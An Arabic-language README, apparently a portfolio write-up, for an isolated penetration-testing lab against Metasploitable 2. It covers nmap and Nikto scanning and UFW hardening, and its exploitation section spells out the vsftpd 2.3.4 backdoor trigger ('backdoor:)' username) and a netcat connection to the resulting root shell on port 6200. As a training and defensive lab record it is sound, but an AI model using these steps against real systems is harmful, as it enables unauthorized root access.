📋 نظرة عامة

يحاكي هذا المختبر اختبار اختراق وتمارين تحصين دفاعية في بيئة افتراضية معزولة تمامًا. يوضح دورة حياة أمن الهجوم الكاملة — من الاستطلاع إلى الاستغلال — والضوابط الدفاعية التي من شأنها تخفيف كل خطر.

النتيجة الرئيسية: تم تحقيق وصول كامل كجذر (root) على الجهاز المستهدف في أقل من 60 ثانية عن طريق استغلال باب خلفي معروف، دون الحاجة إلى بيانات اعتماد أو أدوات خاصة.

🏗 بيئة المختبر

🎯 المنهجية

Reconnaissance  →  Scanning  →  Exploitation  →  Defense & Hardening

🔍 المرحلة 1 — الاستطلاع

مسح المنافذ باستخدام Nmap

sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt

النتائج الرئيسية — 23 منفذًا مفتوحًا إجمالاً:

مسح الويب باستخدام Nikto

nikto -h http://192.168.148.130 -o nikto_before.txt

تم العثور على 18 ثغرة، منها:

• phpMyAdmin مكشوفة للعامة
• ملف phpinfo.php يسرب كامل إعدادات الخادم
• تفعيل HTTP TRACE (هجمات XST)
• تفعيل فهرسة الدليل على /doc/ و /test/
• Apache 2.2.8 و PHP 5.2.4 قديمان

💥 المرحلة 2 — الاستغلال

CVE-2011-2523 — الباب الخلفي لـ vsftpd 2.3.4

يحتوي vsftpd 2.3.4 على باب خلفي تم إدراجه من خلال اختراق سلسلة التوريد. إرسال اسم مستخدم ينتهي بـ :) يتسبب في فتح شل جذر على المنفذ 6200.

# الخطوة 1 — تشغيل الباب الخلفي عبر FTP
ftp 192.168.148.130
# اسم المستخدم: backdoor:)      كلمة المرور: أي شيء

# الخطوة 2 — الاتصال بالشل المستغَل
nc 192.168.148.130 6200

# الخطوة 3 — التحقق من الوصول
whoami
# → root

النتيجة: تم تحقيق وصول كامل على مستوى الجذر (root) في أقل من 60 ثانية — بدون بيانات اعتماد، وبدون إطار عمل استغلال.

الأثر: يمكن للمهاجم صاحب صلاحية الجذر قراءة/تعديل/حذف أي ملف، تثبيت برمجيات خبيثة، تسريب بيانات، أو الانتقال إلى أجهزة أخرى على الشبكة.

🛡 المرحلة 3 — الدفاع والتحصين

جدار الحماية UFW — سياسة رفض افتراضية

sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp    # SSH فقط
sudo ufw status verbose

الإصلاحات الموصى بها

📄 التقرير الكامل

انظر report.md للحصول على التقييم الكامل — المنهجية الكاملة، مخرجات الأوامر، جدول النتائج، خطوات الاستغلال، وجميع توصيات الإصلاح.

⚠️ إخلاء مسؤولية قانوني

تم إجراء هذا المختبر في بيئة افتراضية معزولة تمامًا باستخدام برنامج ضعيف عمدًا (Metasploitable 2). جميع التقنيات لأغراض تعليمية وعرض أعمال فقط. لا تقم بتكرار ذلك على أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.

🛠 الأدوات المستخدمة